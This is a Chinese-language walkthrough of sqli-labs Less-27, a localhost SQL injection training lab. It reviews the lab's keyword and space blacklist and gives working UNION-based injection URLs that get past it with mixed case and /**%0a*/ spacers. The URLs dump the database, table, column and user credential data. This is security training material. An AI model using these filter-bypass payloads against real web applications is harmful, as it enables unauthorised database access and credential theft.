

## 0x01. 判断注入类型

http://localhost:8088/sqlilabs/Less-27/?id=1'

**Warning:** mysql\_fetch\_array() expects parameter 1 to be resource, boolean given in D:\Web-php\sqlilabs\Less-27\index.php on line 36

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "1" LIMIT 0,1' at line 1

Hint: Your Input is Filtered with following result: 1'

http://localhost:8088/sqlilabs/Less-27/?id=2'%26%26'1'='1

Your Login name:Angelina  
Your Password:I-kill-you

Hint: Your Input is Filtered with following result: 2'&&'1'='1

单引号闭合，无小括号。

## 0x02. 判断过滤与绕过

```
$id = blacklist($id);
```

```
$hint = $id;
```

```
function blacklist($id)
```

```
{
```

```
    $id= preg_replace('/[\\*]','',$id);    //strip out /*
```

```
    $id= preg_replace('/[--]','',$id);    //Strip out --.
```

```
    $id= preg_replace('/[#]','',$id);    //Strip out #.
```

```
    $id= preg_replace('/[ +]','',$id);    //Strip out spaces.
```

```
    $id= preg_replace('/select/m','',$id);    //Strip out spaces.
```

```
    $id= preg_replace('/[ +]','',$id);    //Strip out spaces.
```

```
    $id= preg_replace('/union/s','',$id);    //Strip out union
```

```
    $id= preg_replace('/select/s','',$id);    //Strip out select
```

```
    $id= preg_replace('/UNION/s','',$id);    //Strip out UNION
```

```
    $id= preg_replace('/SELECT/s','',$id);    //Strip out SELECT
```

```
    $id= preg_replace('/Union/s','',$id);    //Strip out Union
```

```
$id= preg_replace('/Select/s','', $id);    //Strip out select
return $id;
}
```

仔细看看其实还好，没有过滤or与and，过滤了几个大小写的union和select但是可以用随机大小写绕过，过滤了--、#以及/\*\*/，过滤了两次空格，过滤了/但没过滤\。

所以实际上只过滤了注释与空格，与 Less 26 相似。

## 0x03. PHP语法

### 正则表达式

PHP正则表达式的模式修饰符（官方文档）

PHP正则中的i,m,s,x,e

i

如果设定了此修正符，模式中的字符将同时匹配大小写字母。

m

如果设定了此修正符，行起始和行结束除了匹配整个字符串开头和结束外，还分别匹配其中的换行符的之后和之前。

s

如果设定了此修正符，模式中的圆点元字符匹配所有的字符，包括换行符。没有此设定的话，则不包括换行符。

x

如果设定了此修正符，模式中的空白字符除了被转义的或在字符类中的以外完全被忽略，在未转义的字符类之外的#以及下一个换行符之间的所有字符，包括两头，也都被忽略。

e

如果设定了此修正符，preg\_replace()在替换字符串中对逆向引用作正常的替换。

?

在./+/\*之后表示非贪婪匹配，./+/\*限定符都是贪婪的，它们会尽可能多的匹配文字，在它们的后面加上一个?就可以实现非贪婪或最小匹配。

#### 0x04. 注入过程

这关同 Less 26, 可以明注、报错注入、盲注。

### 0x04-01. 基于正确注入

这关可以用%a0代替空格, 但这里多了一种用/\*\*%0a\*/强行制造空格。  
原理暂不清楚, 但 Less 26 无法使用, 且只有%0a可以。

步骤1: 数据库名

<http://localhost:8088/sqlilabs/Less-27/?>

id=0'/\*\*%0a\*/UnIoN/\*\*%0a\*/SeLeCt/\*\*%0a\*/2,database(),4/\*\*%0a\*/||/\*\*%0a\*/'1'='1

Your Login name:security  
Your Password:1  
Hint: Your Input is Filtered with following result: 0' UnIoN SeLeCt 2,database(),4 || '1'='1

步骤2: 表名

<http://localhost:8088/sqlilabs/Less-27/?>

id=0'/\*\*%0a\*/UnIoN/\*\*%0a\*/SeLeCt/\*\*%0a\*/2,  
(SeLeCt/\*\*%0a\*/group\_concat(table\_name)/\*\*%0a\*/from/\*\*%0a\*/information\_sc  
hema.tables/\*\*%0a\*/where/\*\*%0a\*/table\_schema='security'),4/\*\*%0a\*/||/\*\*%0a\*/'  
1'='1

Your Login name:emails,referers,uagents,users  
Your Password:1  
Hint: Your Input is Filtered with following result: 0' UnIoN SeLeCt 2,(SeLeCt  
group\_concat(table\_name) from information\_schema.tables where  
table\_schema='security'),4 || '1'='1

步骤3: 字段名

<http://localhost:8088/sqlilabs/Less-27/?>

id=0'/\*\*%0a\*/UnIoN/\*\*%0a\*/SeLeCt/\*\*%0a\*/2,  
(SeLeCt/\*\*%0a\*/group\_concat(column\_name)/\*\*%0a\*/from/\*\*%0a\*/information\_s

chema.columns/\*%0a\*/where/\*%0a\*/table\_schema='security'/\*%0a\*/%26%26  
/\*%0a\*/table\_name='users'),4/\*%0a\*/||/\*%0a\*/'1'='1

**Your Login name:id,username,password  
Your Password:1**

Hint: Your Input is Filtered with following result: 0' UnIoN SeLeCt 2,(SeLeCt  
group\_concat(column\_name) from information\_schema.columns where  
table\_schema='security' && table\_name='users'),4 || '1'='1

步骤4: 数据

<http://localhost:8088/sqlilabs/Less-27/?>

id=0'/\*%0a\*/UnIoN/\*%0a\*/SeLeCt/\*%0a\*/2,  
(SeLeCt/\*%0a\*/group\_concat(concat\_ws('\$',id,username,password))/\*%0a\*/fr  
om/\*%0a\*/users),4/\*%0a\*/||/\*%0a\*/'1'='1

**Your Login name:1\$Dumb\$Dumb,2\$Angelina\$I-kill-  
you,3\$Dummy\$p@ssword,4\$secure\$crappy,5\$stupid\$stupidity,6  
Your Password:1**

Hint: Your Input is Filtered with following result: 0' UnIoN SeLeCt 2,(SeLeCt  
group\_concat(concat\_ws('\$',id,username,password)) from users),4 || '1'='1

## 0x04-02. 基于错误注入

## 0x04-03. 基于Bool盲注

同 Less 26, 将双写的or去掉, 将**select**替换为**SeLeCt**即可。